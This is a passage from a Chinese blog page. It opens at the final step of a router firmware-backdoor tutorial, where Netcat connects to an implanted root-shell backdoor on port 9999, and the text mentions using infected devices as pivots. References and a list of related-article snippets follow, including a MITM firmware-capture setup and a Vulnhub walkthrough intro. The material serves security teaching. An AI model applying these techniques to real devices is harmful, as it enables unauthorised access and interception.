8)现在尝试运行 Netcat 连接目标 IP 的 9999 端口,检查后门是否成功启动,如图所示。
根据执行结果,可以看到我们已经对固件进行了修改并成功植入了后门,因此此时成功获得了设备中具有 root 权限的 shell。而获得拥有 root 权限的 shell 之后,用户还可以修改设备的其他配置,或者将其作为跳板远程访问其他植入恶意固件的设备。
参考文献
https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/IOT/固件安全/实验/Dlink_DWR-932B路由器固件分析.md
https://github.com/G4rb3n/IoT_Sec_Tutorial/blob/master/02-静态分析IoT固件/README.md
https://zhuanlan.zhihu.com/p/146228197
固件提取实战(附无损提取方案)
https://zhuanlan.zhihu.com/p/358956098
https://www.infoq.cn/article/8ukqrgkhcoxkrvnjnki6
相关文章:

从0到1:固件分析
固件分析 0x01 固件提取 1、从厂商官网下载 例如D-link的固件: https://support.dlink.com/resource/products/ 2、代理或镜像设备更新时的流量 发起中间人攻击MITM #启用IP转发功能 echo 1 > /proc/sys/net/ipv4/ip_forward#配置iptables,将目…...

模电知识点总结(6)
1.选取频率高于1000Hz的信号时,可选用高通滤波器;抑制50Hz的交流干扰时,可选用带阻滤波器如果希望抑制500Hz以下的信号,可选用高通滤波器。 2.有用信号频率高于1000Hz,可选用高通滤波器;希望抑制50Hz的交流…...
【Java学习】多态
目录 一、方法相同 二、方法重写 1.概念 2.条件 三、向上转型 1.概念 2.方式 四、方法绑定 五、多态 一、方法相同 方法相同要求方法名相同、参数列表相同、返回值类型相同(与两方法修饰的访问限定符相不相同、静态非静态状态相不相同无关),而且在子类与父…...

Oracle 深入理解Lock和Latch ,解析访问数据块全流程
Oracle 锁机制介绍 根据保护对象的不同,单实例Oracle数据库锁可以分为以下几大类: DML lock(data locks,数据锁):用于保护数据的完整性; DDL lock(dictionary locks,字典…...

什么是事务?并发事务引发的问题?什么是MVCC?
文章目录 什么是事务?并发事务引发的问题?什么是MVCC?1.事务的四大特性2.并发事务下产生的问题:脏读、不可重复读、幻读3.如何应对并发事务引发的问题?4.什么是MVCC?5.可见性规则?参考资料 什么…...

【JavaEE进阶】MyBatis通过注解实现增删改查
目录 🍃前言 🍀打印日志 🌴传递参数 🎋增(Insert) 🚩返回主键 🎄删(Delete) 🌲改(Update) 🌳查(Select) 🚩起别名 🚩结果映射 🚩开启驼…...
Uptime Kuma实现业务接口自定义逻辑监控
背景 在现代分布式架构中,业务系统通常由多个微服务组成,微服务之间通过接口进行数据交互。为了确保业务的正常运行,我们需要对这些接口进行监控,及时发现并处理异常情况。然而,由于业务数据接口的复杂性,通用的监控方式往往难以满足需求,需要自定义逻辑来判断接口数据是否异常…...

基于 JavaWeb 的 Spring Boot 调查问卷管理系统设计和实现(源码+文档+部署讲解)
技术范围:SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论…...

新手小白学习棒球规则·棒球1号位
新手小白学习棒球规则,可以从以下几个方面入手: 一、球场与球员 • 球场布局:棒球场呈菱形,由四个垒位(一垒、二垒、三垒和本垒)和一个投手板组成,外围是外场区域。内场为正方形,四…...
单元测试的策略有哪些,主要包括什么?
单元测试的策略及主要内容 单元测试(Unit Testing)是指对软件系统中的最小可测试单元(通常是一个函数、方法或类)进行验证,以确保其行为符合预期。常见的单元测试策略可以分为基于代码的策略和基于数据的策略…...

深度学习之图像回归(一)
前言 图像回归任务主要是理解一个最简单的深度学习相关项目的结构,整体的思路,数据集的处理,模型的训练过程和优化处理。 因为深度学习的项目思路是差不多的,主要的区别是对于数据集的处理阶段,之后模型训练有一些小…...
Docker 替换到 Containerd (nerdctl相关指令)
因为docker不给用了,所以使用Containerd来代替 前置准备 安装 Containerd # 安装 containerd yum install -y yum-utils yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo yum install -y containerd.io # 生成默认配置文件 mkdir -p…...
Ollama API 参考文档
文档来源:API 参考文档 -- Ollama 中文文档|Ollama官方文档 端点 生成完成生成聊天完成创建模型列出本地模型显示模型信息复制模型删除模型拉取模型推送模型生成嵌入列出正在运行的模型版本...

PHP房屋出租出售高效预约系统小程序源码
🏠 房屋出租出售高效预约系统 —— 您的智能找房新选择 💡 这是一款集智慧与匠心于一体的房屋出租出售预约系统,它巧妙地融合了ThinkPHP与Uniapp两大先进框架,精心打造而成。无论是小程序、H5网页,还是APP端ÿ…...

学习threejs,使用MeshBasicMaterial基本网格材质
👨⚕️ 主页: gis分享者 👨⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕️ 收录于专栏:threejs gis工程师 文章目录 一、🍀前言1.1 ☘️THREE.MeshBasicMaterial 二…...
Kafka Connect 功能介绍
Kafka Connect 是一款用于在 Apache Kafka 和其他系统之间进行数据传输的工具,它提供了以下功能: 1. 通用框架 标准化集成:Kafka Connect 提供了一个通用框架,用于将其他数据系统与 Kafka 集成,简化了连接器的开发、部署和管理。支持多种数据系统:可以快速定义连接器,将…...

从卡顿到丝滑:火山引擎DeepSeek-R1引领AI工具新体验
方舟大模型体验中心全新上线,免登录体验满血联网版Deep Seek R1 模型及豆包最新版模型:https://www.volcengine.com/experience/ark?utm_term202502dsinvite&acDSASUQY5&rcGO9H7M38 告别DeepSeek卡顿,探索火山引擎DeepSeek-R1的丝滑之旅 在A…...

Vulnhub-node靶机教学
本篇文章旨在为网络安全渗透测试靶机教学。通过阅读本文,读者将能够对渗透Vulnhub系列node靶机有一定的了解 一、信息收集阶段 靶机下载地址:https://www.vulnhub.com/entry/node-1,252 因为靶机为本地部署虚拟机网段,查看dhcp地址池设置。得…...

php处理图片出现内存溢出(Allowed memory size of 134217728 bytes exhausted)
错误: 最近做图片上传功能时发现上传某些图片时报内存溢出错误。如下所示: {"code": 0,"msg": "Allowed memory size of 134217728 bytes exhausted (tried to allocate 24576 bytes)","data": {"code&q…...

网络IP跳动问题解决详
一、问题原因分析 DHCP服务器配置问题: DHCP服务器租期设置过短。 DHCP地址池范围过小,导致地址耗尽。 网络中可能存在多个DHCP服务器,导致IP分配冲突。 网络中存在IP地址冲突: 手动配置的IP地址与DHCP分配的地址冲突。 网络中存在未经授权的DHCP服…...

如何在看板中体现优先级变化
在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...

华为OD机试-食堂供餐-二分法
import java.util.Arrays; import java.util.Scanner;public class DemoTest3 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseint a in.nextIn…...

【2025年】解决Burpsuite抓不到https包的问题
环境:windows11 burpsuite:2025.5 在抓取https网站时,burpsuite抓取不到https数据包,只显示: 解决该问题只需如下三个步骤: 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

C++:多态机制详解
目录 一. 多态的概念 1.静态多态(编译时多态) 二.动态多态的定义及实现 1.多态的构成条件 2.虚函数 3.虚函数的重写/覆盖 4.虚函数重写的一些其他问题 1).协变 2).析构函数的重写 5.override 和 final关键字 1&#…...
08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险
C#入门系列【类的基本概念】:开启编程世界的奇妙冒险 嘿,各位编程小白探险家!欢迎来到 C# 的奇幻大陆!今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类!别害怕,跟着我,保准让你轻松搞…...
Python Einops库:深度学习中的张量操作革命
Einops(爱因斯坦操作库)就像给张量操作戴上了一副"语义眼镜"——让你用人类能理解的方式告诉计算机如何操作多维数组。这个基于爱因斯坦求和约定的库,用类似自然语言的表达式替代了晦涩的API调用,彻底改变了深度学习工程…...

零知开源——STM32F103RBT6驱动 ICM20948 九轴传感器及 vofa + 上位机可视化教程
STM32F1 本教程使用零知标准板(STM32F103RBT6)通过I2C驱动ICM20948九轴传感器,实现姿态解算,并通过串口将数据实时发送至VOFA上位机进行3D可视化。代码基于开源库修改优化,适合嵌入式及物联网开发者。在基础驱动上新增…...

Linux 下 DMA 内存映射浅析
序 系统 I/O 设备驱动程序通常调用其特定子系统的接口为 DMA 分配内存,但最终会调到 DMA 子系统的dma_alloc_coherent()/dma_alloc_attrs() 等接口。 关于 dma_alloc_coherent 接口详细的代码讲解、调用流程,可以参考这篇文章,我觉得写的非常…...

Qt的学习(一)
1.什么是Qt Qt特指用来进行桌面应用开发(电脑上写的程序)涉及到的一套技术Qt无法开发网页前端,也不能开发移动应用。 客户端开发的重要任务:编写和用户交互的界面。一般来说和用户交互的界面,有两种典型风格&…...